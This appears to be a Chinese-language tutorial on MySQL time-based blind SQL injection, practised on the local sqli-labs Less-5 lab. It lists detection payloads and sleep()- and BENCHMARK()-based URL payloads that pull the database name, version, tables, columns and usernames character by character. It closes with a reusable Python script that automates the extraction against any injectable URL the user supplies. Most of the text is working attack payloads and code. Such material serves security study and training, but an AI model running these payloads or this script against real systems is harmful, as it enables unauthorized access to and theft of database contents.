mysql盲注(基于时间)

延时注入,用的最多的蛇皮注入

常用的判断语句:

' and if(1=0,1, sleep(10)) --+    

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+

下面开始实验

这里小伙子是知道数据库长度啊名字这些所以用的是等于=,实战中可以用大小于来进行一个判断,缩短时间

一.输入检测语句,payload:

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1' and if(1=0,1, sleep(10)) --+

这里是用谷歌f12查看到,这里延时了10秒,证明存在注入点

mysql盲注(基于时间)

二.查询当前数据库的长度,payload:

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and if(length(database())=8,sleep(10),1)--+

length : 用于截取当前数据库的长度

mysql盲注(基于时间)

延迟10秒说明我们判断的长度正确,当前数据库长度为8

三.查询当前数据库的第一个字符,payload:

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,sleep(10),1)--+

(substr(database(),1,1) : 截取当前数据库的第一个字符

ascii : 把截取到的字符串转换成ascii码(百度搜索ascii码表一堆)

mysql盲注(基于时间)

发现延迟了10秒,那么ascii码是等于115,通过查找ascii码表,115是小写的s

当数字改为2表示第二位数字,通过这样改变位数一个一个字符串进行截取,判断出数据库的名称为security

mysql盲注(基于时间)

四.介绍了怎么用后我们每一步骤就爆一个字符咯(希望谅解,每个都爆太耗时间了)

1.爆数据库的版本长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((version()))=6,sleep(10),1)--+

2.爆数据库版本的第一个字符

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(ascii(substr(version(),1,1))=53,sleep(10),1)--+

3.爆第一个数据库的长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(10),1)--+

4.爆第一个数据库的第一个字符

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(10),1)--+

这里通过改变limit后的值来确定第几个数据库,第一个数据库的下标为0,依次往后推就是其他的数据库

5.爆security数据库里的第四个表的长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(10),1)--+

6.爆security数据库里的第四个表的第一个字符

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(10),1)--+

7.爆security数据库里的users表的第二个字段长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8,sleep(10),1)--+

8.爆security数据库里的users表的第二个字段的第一个字符

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(10),1)--+

9.爆security数据库里的users表的第二个字段的第一个数据的长度

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'and If(length((select username from security.users limit 0,1))=4,sleep(10),1)--+

五.利用 BENCHMARK()进行延时注入

http://127.0.0.1:6868/sqli-labs-master/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN
CHMARK(150000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur
rent) as tb1--+


六.由于延时注入比较耗时间,建议大家写一个python小脚本自动跑好一些,这个小脚本可以跑当前数据库版本,当前数据库,当前用户,代码如下:

import requests
import time
for i in range(1,21):
    url='含有注入点的url AND if(length(version())='+str(i)+',sleep(5),1)'
    starttime=time.time()
    a=requests.get(url)
    endtime=time.time()
    b=endtime-starttime
    if b>5:
        print i
        break
    #print a.content
for j in range(1,i+1):
    for k in range(32,127):
        url1='含有注入点的url AND if(ascii(substr(version(),'+str(j)+',1))='+str(k)+',sleep(5),1)'
        starttime=time.time()
        a=requests.get(url1)
        endtime=time.time()
        b=endtime-starttime
        if b>5:
            print chr(k)
            break         
for m in range(1,21):
    url2='含有注入点的url AND if(length(database())='+str(m)+',sleep(5),1)'
    starttime=time.time()
    a=requests.get(url2)
    endtime=time.time()
    b=endtime-starttime
    if b>5:
        print m
        break
for n in range(1,m+1):
    for h in range(32,127):
        url3='含有注入点的url AND if(ascii(substr(database(),'+str(n)+',1))='+str(h)+',sleep(5),1)'
        starttime=time.time()
        a=requests.get(url3)
        endtime=time.time()
        b=endtime-starttime
        if b>5:
            print chr(h)
            break
for o in range(1,21):
    url4='含有注入点的url AND if(length(user())='+str(o)+',sleep(5),1)'
    starttime=time.time()
    a=requests.get(url4)
    endtime=time.time()
    b=endtime-starttime
    if b>5:
        print o
        break
for p in range(1,o+1):
    for q in range(32,127):
        url5='含有注入点的url AND if(ascii(substr(user(),'+str(p)+',1))='+str(q)+',sleep(5),1)'
        starttime=time.time()
        a=requests.get(url5)
        endtime=time.time()
        b=endtime-starttime
        if b>5:
            print chr(q)
            break


注:自己写的垃圾脚本需要自己手动添加含有注入点的url



感谢各位大佬赏脸,有什么不足的地方请多多指教,欢迎意见轰炸,谢谢!!!